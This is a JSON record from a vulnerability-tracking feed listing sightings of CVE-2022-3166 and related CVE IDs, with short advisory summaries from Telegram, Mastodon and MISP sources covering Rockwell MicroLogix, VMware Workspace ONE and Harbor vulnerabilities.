{"vulnerability": "cve-2022-3166", "sightings": [{"uuid": "8df97767-ac27-4ffa-ad10-8a5581bda18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "MISP/d3a33563-6aa9-4388-8f6a-8f738a3a01c1", "content": "", "creation_timestamp": "2022-12-08T14:11:31.000000Z"}, {"uuid": "9ade9eeb-49e7-441d-b06f-8f58c072a7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31666", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481105542747243", "content": "", "creation_timestamp": "2024-11-14T11:37:32.704562Z"}, {"uuid": "37e9733f-8d2d-4704-9966-618a5eb7cfe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31667", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481166368149680", "content": "", "creation_timestamp": "2024-11-14T11:53:00.723790Z"}, {"uuid": "317e3491-b0ff-4791-9a31-43549bf8a0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31669", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481166382753625", "content": "", "creation_timestamp": "2024-11-14T11:53:00.982537Z"}, {"uuid": "1e155dca-573b-4302-be1f-3c1cdd050787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "f8b92e70-212e-4114-bb00-fb989f8c6a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:46.000000Z"}, {"uuid": "e00afadf-959b-40a2-80e3-c6c573cacb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb", "content": "", "creation_timestamp": "2022-08-03T22:11:28.000000Z"}, {"uuid": "b00655b9-c80d-4128-acf6-0802db020679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/poxek/2247", "content": "CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE", "creation_timestamp": "2022-08-13T21:00:43.000000Z"}, {"uuid": "3b214ebf-860e-4575-b212-26c00c12ee99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/poxek/2247", "content": "CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE", "creation_timestamp": "2022-08-13T21:00:43.000000Z"}, {"uuid": "05d0e78c-234f-417d-a1e2-05bb597400d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31666", "type": "seen", "source": "https://t.me/cvedetector/10938", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-31666 - Harbor Webhook Policy Privilege Escalation vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-31666 \nPublished : Nov. 14, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : Harbor fails to validate user permissions while deleting Webhook policies, allowing malicious users to view, update and delete Webhook policies of other users.\u00a0\u00a0The attacker could modify Webhook policies configured in other projects. \nSeverity: 7.7 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T14:08:50.000000Z"}, {"uuid": "9febf132-a8d5-4091-8f5a-4ca3630a7e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31668", "type": "seen", "source": "https://t.me/cvedetector/10940", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-31668 - Harbor P2P Preheat Policy Permission Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-31668 \nPublished : Nov. 14, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : Harbor fails to validate the user permissions when updating p2p preheat policies.\u00a0By sending a request to update a p2p preheat policy with an id that belongs to a project that the currently authenticated user doesn't have access to, the attacker could modify p2p preheat policies configured in other projects. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T14:08:55.000000Z"}, {"uuid": "f07f3a3a-9dd0-4ed1-a39c-94945e0ee569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31667", "type": "seen", "source": "https://t.me/cvedetector/10939", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-31667 - Harbor Robot Account Privilege Escalation Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2022-31667 \nPublished : Nov. 14, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : Harbor fails to validate the user permissions when updating a robot account that\u00a0belongs to a project that the authenticated user doesn\u2019t have access to.\u00a0  \n  \nBy sending a request that attempts to update a robot account, and specifying a robot\u00a0account id and robot account name that belongs to a different project that the user\u00a0doesn\u2019t have access to, it was possible to revoke the robot account permissions. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T14:08:51.000000Z"}, {"uuid": "a35e80e8-56ba-41ff-a2db-16dffd23cfb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31669", "type": "seen", "source": "https://t.me/cvedetector/10941", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-31669 - Harbor Permission Bypass (Unauthorized Tag Immutability Policy Update)\", \n  \"Content\": \"CVE ID : CVE-2022-31669 \nPublished : Nov. 14, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : Harbor fails to validate the user permissions when updating tag immutability policies.\u00a0  \n  \nBy sending a request to update a tag immutability policy with an id that belongs to a  \nproject that the currently authenticated user doesn\u2019t have access to, the attacker could  \nmodify tag immutability policies configured in other projects. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T14:08:56.000000Z"}, {"uuid": "e0c5e3c5-7d62-41e2-8e31-645d91bc5a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3166", "type": "seen", "source": "https://t.me/cibsecurity/54779", "content": "\u203c CVE-2022-3166 \u203c\n\nRockwell Automation was made aware that the webservers of the Micrologix 1100 and 1400 controllers contain a vulnerability that may lead to a denial-of-service condition. The security vulnerability could be exploited by an attacker with network access to the affected systems by sending TCP packets to webserver and closing it abruptly which would cause a denial-of-service condition for the web server application on the device\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T22:24:34.000000Z"}, {"uuid": "da4de201-ba35-417d-a5ab-27da4cbc6ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/cibsecurity/47627", "content": "\u203c CVE-2022-31660 \u203c\n\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contains a privilege escalation vulnerability. A malicious actor with local access can escalate privileges to 'root'.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-05T20:20:50.000000Z"}, {"uuid": "5b5e1baf-c8e1-459e-94e0-e54e1c4e10ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31663", "type": "seen", "source": "https://t.me/cibsecurity/47636", "content": "\u203c CVE-2022-31663 \u203c\n\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain a reflected cross-site scripting (XSS) vulnerability. Due to improper user input sanitization, a malicious actor with some user interaction may be able to inject javascript code in the target user's window.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-05T20:21:02.000000Z"}, {"uuid": "d1f061ce-76ae-46ae-8fe0-ef7c7715d4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/cibsecurity/47633", "content": "\u203c CVE-2022-31665 \u203c\n\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain a remote code execution vulnerability. A malicious actor with administrator and network access can trigger a remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-05T20:20:57.000000Z"}, {"uuid": "b5c376a6-aeb2-4f50-adb5-f9689a09fdc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-26T02:02:43.502485Z"}, {"uuid": "a3c15896-89c4-43fc-ae47-c2de83b576d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-26T02:02:43.633262Z"}, {"uuid": "a380569e-5941-4c9e-8f45-0f21554878f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-26T02:02:43.590365Z"}, {"uuid": "4efe84f5-7b68-4591-8b8f-fbaa0353294b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 